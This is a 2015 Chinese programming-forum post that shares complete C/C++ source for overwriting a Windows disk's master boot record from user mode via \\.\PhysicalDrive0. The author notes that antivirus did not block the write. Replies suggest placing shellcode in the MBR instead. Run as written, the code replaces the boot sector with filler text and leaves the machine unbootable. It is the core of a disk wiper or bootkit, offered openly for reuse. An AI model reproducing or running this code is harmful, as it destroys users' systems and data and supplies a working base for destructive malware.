开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 2990|回复: 4
收起左侧

[源码分享] C/C++用户模式下改写硬盘主引导记录(MBR)

[复制链接]
发表于 2015-12-13 17:00:22 | 显示全部楼层 |阅读模式   辽宁省沈阳市

CPU一共有四种权限级别:ring0 ring1 ring2 ring3

Windows只是用了ring0和ring3

我们在使用电脑时,一般在ring3模式下工作。在ring3模式下,我们无法使用CPU特权指令in和out。对系统所属的数据,地址空间以及硬件也是有严格的限制的。


但是这对于操作系统来说是一件好事,可对于一些应用程序来说,就很无语了。

要想在ring3下完成这个任务,只能通过内核程序来进行使用。在Windows系统中,内核程序不受任何的限制,可以随意存取系统所属的数据,操作系统地址空间等。所以,开发内核程序必须要有严格的测试!

不过呢,想要在ring3级别下访问硬盘,也是很简单的!

那是因为:

Windows 操作系统为了自己编程方便,编写了在用户模式下调用的硬盘内核模式驱动程序,该程序在系统启动时候自动装载。我们只要掌握这个 Windows 内核模式的驱动程序,就可以直接在用户模式下直接无阻碍访问硬盘了。

不过想要掌握这个内核程序,也是很简单。因为:

硬盘内核驱动程序将硬盘作为一个文件,文件名为:"\\.\\physicaldrive0"

这样,我们就可以通过这个文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 这几个API来进行访问硬盘。


题外话:我在测试的时候发现了一个大问题。就是我用这个程序在改写MBR的时候,我的360安全卫士竟然没提示,也没拦截!!!然后。。。。。额 就没有然后了(因为虚拟机跑不起来 所以我在真实机器上测试。幸亏备份MBR了)。。。。。

下面的代码,请谨慎使用。使用前请先备份MBR。以防数据丢失。

如果出现事故,与本人无关!

  1. #include <windows.h>

  2. int main(void)
  3. {
  4.         //硬盘文件名
  5.         LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
  6.         //主引导记录
  7.         char code[]=
  8.                 "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
  9.                 "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  "
  10.                 "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
  11.                 "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  ";
  12.         BYTE MBR[512];
  13.         DWORD s=NULL,t=NULL;
  14.         /* 文件句柄 */
  15.         HANDLE handle=NULL;
  16.         //构造MBR
  17.         memcpy(MBR,code,sizeof(code)-1);
  18.         //打开硬盘
  19.         handle=CreateFileA(
  20.                 DiskFileName,
  21.                 GENERIC_READ|GENERIC_WRITE,
  22.                 FILE_SHARE_READ|FILE_SHARE_WRITE,
  23.                 0,
  24.                 OPEN_EXISTING,
  25.                 0,
  26.                 0);
  27.         if(handle==INVALID_HANDLE_VALUE)
  28.         {
  29.                 //打开文件失败
  30.                 MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
  31.                 return 0;
  32.         }else{
  33.                 //写入新的MBR
  34.                 WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
  35.                 DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
  36.                 CloseHandle(handle);//关闭文件
  37.                 MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
  38.                 return 0;
  39.         }
  40.         return 0;
  41. }
复制代码



发表于 2022-4-10 09:53:46 | 显示全部楼层   浙江省台州市
mbr怎么写
回复 支持 反对

使用道具 举报

结帖率:100% (1/1)

签到天数: 8 天

发表于 2015-12-13 21:06:10 | 显示全部楼层   云南省昆明市
支持一个,,
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-12-13 20:47:15 | 显示全部楼层   辽宁省沈阳市
lolskin 发表于 2015-12-13 18:31
还不如 写入 shellcode

你自己吧写入的东西换成shellcode不就好了 请问你知道shellcode是什么吗
回复 支持 反对

使用道具 举报

结帖率:43% (3/7)
发表于 2015-12-13 18:31:58 | 显示全部楼层   广西壮族自治区钦州市
还不如 写入 shellcode
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表